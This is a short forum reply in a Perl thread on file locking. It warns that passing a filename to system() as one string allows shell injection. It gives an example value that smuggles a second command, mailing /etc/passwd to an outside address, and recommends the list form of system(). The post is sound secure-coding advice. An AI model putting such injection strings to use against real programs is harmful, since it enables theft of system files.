in reply to RE (2): Simple Locking
in thread Simple Locking
I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:
system("/bin/touch",$lockfile);
Cheers,
KM
|
---|
Replies are listed 'Best First'. | |
---|---|
RE (4): Simple Locking
by tilly (Archbishop) on Aug 09, 2000 at 00:08 UTC | |
by merlyn (Sage) on Aug 22, 2000 at 16:22 UTC | |
by tilly (Archbishop) on Aug 22, 2000 at 16:50 UTC |